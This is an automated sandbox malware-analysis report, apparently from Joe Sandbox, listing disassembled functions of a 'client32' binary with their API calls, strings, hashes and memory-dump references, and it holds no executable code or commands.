Instruction ID: b9473765ee5a894416c22d4106f00ac8eee3be5f778696d0a0a90b9ce83e720c
Opcode Fuzzy Hash: c4747356edef85b26a8d255d985f731fa2ac90c82b36329bf0764cc89e95cc70
Instruction Fuzzy Hash: 49518E71E006269BCB85CFA5C884A6EFBF9FB49704B10866DE925D7244F730E910CBA1

Function 1100B760 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 149COMMON

Download Yara Rule

APIs

GetOverlappedResult.KERNEL32(?,DC70BFBE,FFFFFFFF,00000001), ref: 1100B7AC
GetLastError.KERNEL32 ref: 1100B7B6
GetTickCount.KERNEL32 ref: 1100B819
wsprintfA.USER32 ref: 1100B856
ResetEvent.KERNEL32(?), ref: 1100B90F

Strings

New hooked channels,bitspersample=%d,%d (old %d,%d), xrefs: 1100B894, 1100B8F7
Audio, xrefs: 1100B8B0, 1100B8D0
Hook_bits_per_sample, xrefs: 1100B8CB
Hook_channels, xrefs: 1100B8AB

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountErrorEventLastOverlappedResetResultTickwsprintf
String ID: Audio$Hook_bits_per_sample$Hook_channels$New hooked channels,bitspersample=%d,%d (old %d,%d)
API String ID: 3598861413-432254317
Opcode ID: 88086ed7cad01db98769a6e7f02a836ab8858efd9f4792b07cbe4e8a26896150
Instruction ID: bce60c6a70f4087aecce3b408ab27d19c814a1bd4bae8f21e2f5314e0b08db4f
Opcode Fuzzy Hash: 88086ed7cad01db98769a6e7f02a836ab8858efd9f4792b07cbe4e8a26896150
Instruction Fuzzy Hash: E751D4B8D00A1AABE710DF65CC84ABBB7F8EF44748F10855DF96A92281E7347580C7A5

Function 1104B12F Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 126windowCOMMON

Download Yara Rule

APIs

Part of subcall function 1105D340: __wcstoi64.LIBCMT ref: 1105D37D

PostMessageA.USER32(0000FFFF,0000C1E7,00000000,00000000), ref: 1104B225
PostMessageA.USER32(00010486,0000048F,00000032,00000000), ref: 1104B256
PostMessageA.USER32(00010486,00000483,00000000,00000000), ref: 1104B268
PostMessageA.USER32(00010486,0000048F,000000C8,00000000), ref: 1104B27C
PostMessageA.USER32(00010486,00000483,00000001,?), ref: 1104B293
PostMessageA.USER32(00010486,00000800,00000000,00000000), ref: 1104B2A4

Strings

tVPq, xrefs: 1104B165
UnloadMirrorOnEndView, xrefs: 1104B137
Client, xrefs: 1104B13C

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: MessagePost$__wcstoi64
String ID: Client$UnloadMirrorOnEndView$tVPq
API String ID: 1802880851-2026197083
Opcode ID: f90317bc389818a7d6923112d6339fcabc99c06439f7a0e866445f586ece45cc
Instruction ID: 72b0dfb70f0a874fb1e004092d90b5695b323917c743566986231bfe2b7fd1fa
Opcode Fuzzy Hash: f90317bc389818a7d6923112d6339fcabc99c06439f7a0e866445f586ece45cc
Instruction Fuzzy Hash: E6412775B025257BD311DBA4CC85FEBB7AABF89708F1081A9F61497284DB70B900CBD4

Function 11027310 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 89COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028,?), ref: 1102732F
OpenProcessToken.ADVAPI32(00000000), ref: 11027336
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,00000000,?), ref: 11027358
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?), ref: 11027378
LookupPrivilegeNameA.ADVAPI32(00000000,00000004,?,?), ref: 11027399
_free.LIBCMT ref: 110273C4
CloseHandle.KERNEL32(?), ref: 110273D6

Strings

@, xrefs: 1102738E
Luid Low=%x, High=%x, Attr=%x, name=%s, xrefs: 110273AE

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Token$InformationProcess$CloseCurrentHandleLookupNameOpenPrivilege_free
String ID: @$Luid Low=%x, High=%x, Attr=%x, name=%s
API String ID: 2058255784-3275751932
Opcode ID: a179c4f631e1d576790adebd3a79f658293acbbcafd48b1be8af85d59d374643
Instruction ID: ade80763f836c408a2a1d446ea8312ce3e6dd7fa4b179276d35611dba123a850
Opcode Fuzzy Hash: a179c4f631e1d576790adebd3a79f658293acbbcafd48b1be8af85d59d374643
Instruction Fuzzy Hash: D42176B5D0021AAFD710DFE4DC85EAFBBBDEF44704F108119EA15A7240D770A906CBA1

Function 110570C0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 228COMMON

Download Yara Rule

APIs

Part of subcall function 1105D340: __wcstoi64.LIBCMT ref: 1105D37D

GetTickCount.KERNEL32 ref: 11057136

Part of subcall function 11157010: LoadLibraryA.KERNEL32(wlanapi.dll,?,11057147), ref: 1115705B
Part of subcall function 11157010: GetProcAddress.KERNEL32(00000000,WlanOpenHandle), ref: 11157074
Part of subcall function 11157010: GetProcAddress.KERNEL32(?,WlanCloseHandle), ref: 11157084
Part of subcall function 11157010: GetProcAddress.KERNEL32(?,WlanEnumInterfaces), ref: 11157094
Part of subcall function 11157010: GetProcAddress.KERNEL32(?,WlanGetAvailableNetworkList), ref: 111570A4
Part of subcall function 11157010: GetProcAddress.KERNEL32(?,WlanFreeMemory), ref: 111570B4

GetTickCount.KERNEL32 ref: 11057293

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\DataStream.h, xrefs: 110572D6, 11057302
gfff, xrefs: 11057112
DisableWirelessInfo, xrefs: 110570F5
IsA(), xrefs: 110572DB, 11057307
Client, xrefs: 110570FA
Info. NC_WIRELESS took %d ms, xrefs: 110572A2

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc$CountTick$LibraryLoad__wcstoi64
String ID: Client$DisableWirelessInfo$Info. NC_WIRELESS took %d ms$IsA()$e:\nsmsrc\nsm\1210\1210f\ctl32\DataStream.h$gfff
API String ID: 1442689885-2337161965
Opcode ID: 3312380c41981f34bd337f774f96d03f519effdcfe3ca8d7960d65f644104a37
Instruction ID: 84ed5054cfcb45ae474b39cb997af099e397576dfe613bc4edcee20f92af9c19
Opcode Fuzzy Hash: 3312380c41981f34bd337f774f96d03f519effdcfe3ca8d7960d65f644104a37
Instruction Fuzzy Hash: F8916D75E0065E9FCB45CF94C884AEEF7B6BF58318F104158E819AB281DB30AE45CBA1

Function 11127780 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 212windowtimeCOMMON

Download Yara Rule

APIs

EnumWindows.USER32(111276D0,?), ref: 111277D8

Part of subcall function 1110C4A0: _memset.LIBCMT ref: 1110C4D2

CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 11127829
GetWindowTextA.USER32(?,?,00000104), ref: 11127869
SendMessageTimeoutA.USER32(?,00000000,00000000,00000000,00000002,000001F4,?), ref: 11127914
_memmove.LIBCMT ref: 1112798F
_memset.LIBCMT ref: 111279FC
DeleteDC.GDI32(?), ref: 11127A0B

Strings

DISPLAY, xrefs: 1112781E

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _memset$CreateDeleteEnumMessageSendTextTimeoutWindowWindows_memmove
String ID: DISPLAY
API String ID: 790809857-865373369
Opcode ID: a36cf931a0b0a38a5121a637b2b1593bb62e7df1d52cb012501d7896bd6d5a55
Instruction ID: daf97ec175890095a15a187f0d211b8f7d4f5fc3452f74960e728b40ba9e4cf9
Opcode Fuzzy Hash: a36cf931a0b0a38a5121a637b2b1593bb62e7df1d52cb012501d7896bd6d5a55
Instruction Fuzzy Hash: EE8141B5E006299BDB25CF55CD85BEAF7B8EB48314F5085D5E909A7240EB30AE80CF90

Function 110CF280 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 158COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 110CF2A0

Part of subcall function 1115CBB3: std::exception::exception.LIBCMT ref: 1115CBC8
Part of subcall function 1115CBB3: __CxxThrowException@8.LIBCMT ref: 1115CBDD
Part of subcall function 1115CBB3: std::exception::exception.LIBCMT ref: 1115CBEE

_memmove.LIBCMT ref: 110CF327
_memmove.LIBCMT ref: 110CF34B
_memmove.LIBCMT ref: 110CF385
_memmove.LIBCMT ref: 110CF3A1
std::exception::exception.LIBCMT ref: 110CF3EB
__CxxThrowException@8.LIBCMT ref: 110CF400

Strings

deque<T> too long, xrefs: 110CF29B

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _memmove$std::exception::exception$Exception@8Throw$Xinvalid_argumentstd::_
String ID: deque<T> too long
API String ID: 827257264-309773918
Opcode ID: ca0d9d9c1b3117fae71b95f011d40ae9033231cd0910b8171d4419a53fd285b4
Instruction ID: 3f2339a9076695d70661dcab859014021b6c0d6f22495f28215c516d49704129
Opcode Fuzzy Hash: ca0d9d9c1b3117fae71b95f011d40ae9033231cd0910b8171d4419a53fd285b4
Instruction Fuzzy Hash: 6541E876E00115ABDB04CE68CC81BAEF7F6EF80614F19C6A9DC15D7344EA34EA418B91

Function 11125040 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 156COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 11125060

Part of subcall function 1115CBB3: std::exception::exception.LIBCMT ref: 1115CBC8
Part of subcall function 1115CBB3: __CxxThrowException@8.LIBCMT ref: 1115CBDD
Part of subcall function 1115CBB3: std::exception::exception.LIBCMT ref: 1115CBEE

_memmove.LIBCMT ref: 111250EA
_memmove.LIBCMT ref: 1112510E
_memmove.LIBCMT ref: 11125148
_memmove.LIBCMT ref: 11125164
std::exception::exception.LIBCMT ref: 111251AE
__CxxThrowException@8.LIBCMT ref: 111251C3

Strings

deque<T> too long, xrefs: 1112505B

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _memmove$std::exception::exception$Exception@8Throw$Xinvalid_argumentstd::_
String ID: deque<T> too long
API String ID: 827257264-309773918
Opcode ID: a4ca0833f89cb949e8c6ff4a971e5aaf4e212e7777e7c70b2ce6ff60b8d225c5
Instruction ID: 0f323eff97a08ef0bfb1d310de9271f6685152ce05bf58ee348bace92ff13d14
Opcode Fuzzy Hash: a4ca0833f89cb949e8c6ff4a971e5aaf4e212e7777e7c70b2ce6ff60b8d225c5
Instruction Fuzzy Hash: 0541E776E00115ABDB54CE68CCC1AEEF7E5EF84214F69C668D81AD7344EA34EA41CBD0

Function 1103B530 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 112sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 1110B5F0: timeGetTime.WINMM ref: 1110B5FD

Part of subcall function 110F6220: _memset.LIBCMT ref: 110F6245
Part of subcall function 110F6220: GetACP.KERNEL32(021BB858,DBCS,Charset,932=*128), ref: 110F62AE

Sleep.KERNEL32(00000032,?), ref: 1103B642
GetDC.USER32(00000000), ref: 1103B64A
GetPixel.GDI32(00000000,00000000,00000000), ref: 1103B657
SetPixel.GDI32(00000000,00000000,00000000,00000000), ref: 1103B663
ReleaseDC.USER32(00000000,00000000), ref: 1103B66C

Strings

View, xrefs: 1103B5B7
limitcolorbits, xrefs: 1103B5B2
DoFlushOptimal, maxcb=%d, cb=%d, gcb=%d, xrefs: 1103B589

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Pixel$ReleaseSleepTime_memsettime
String ID: DoFlushOptimal, maxcb=%d, cb=%d, gcb=%d$View$limitcolorbits
API String ID: 686385934-1413253680
Opcode ID: d5852c839270aa23ef5ae38c366fd629fbc8cd0939447888d43a8d295bfa1ddf
Instruction ID: f16d89a374e4fe568ab7d55a1f425cdb876f14b981240f7c8f6700600d478685
Opcode Fuzzy Hash: d5852c839270aa23ef5ae38c366fd629fbc8cd0939447888d43a8d295bfa1ddf
Instruction Fuzzy Hash: 31419535E0161E9FEF15CFA4CD95BFEB7A5EB84309F10416DE916A7280EB34A90087A1

Function 110051C0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 104windowCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32(?), ref: 110051CE
_memset.LIBCMT ref: 110051F0
GetMenuItemID.USER32(?,00000000), ref: 11005204
CheckMenuItem.USER32(?,00000000,00000000), ref: 11005261
EnableMenuItem.USER32(?,00000000,00000000), ref: 11005277
GetMenuItemInfoA.USER32(?,00000000,00000001,00000030), ref: 11005298
SetMenuItemInfoA.USER32(?,00000000,00000001,00000030), ref: 110052C4

Strings

0, xrefs: 110051FD

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ItemMenu$Info$CheckCountEnable_memset
String ID: 0
API String ID: 2755257978-4108050209
Opcode ID: 30e732c661686793a5b6a227507d1879ad683f9c8e26dd4348ab49c0c8fb9c12
Instruction ID: 151c37117e6a4efcf468b3f2afefe3ee8c103672a57a50470b6f5af14a9aa5dd
Opcode Fuzzy Hash: 30e732c661686793a5b6a227507d1879ad683f9c8e26dd4348ab49c0c8fb9c12
Instruction Fuzzy Hash: A031A370D0121ABBEB01DFA4D889BEEBBFCEF46358F008159F951E6240E7759A44CB51

Function 1101D410 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 100registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 1101D440
GetClassInfoExA.USER32(00000000,NSMChatSizeWnd,?), ref: 1101D45A
_memset.LIBCMT ref: 1101D46A
RegisterClassExA.USER32(?), ref: 1101D4AB
CreateWindowExA.USER32(00000000,NSMChatSizeWnd,11190240,00CF0000,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 1101D4DE
GetWindowRect.USER32(00000000,?), ref: 1101D4EB
DestroyWindow.USER32(00000000), ref: 1101D4F2

Strings

NSMChatSizeWnd, xrefs: 1101D44C, 1101D4A1, 1101D4D8

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
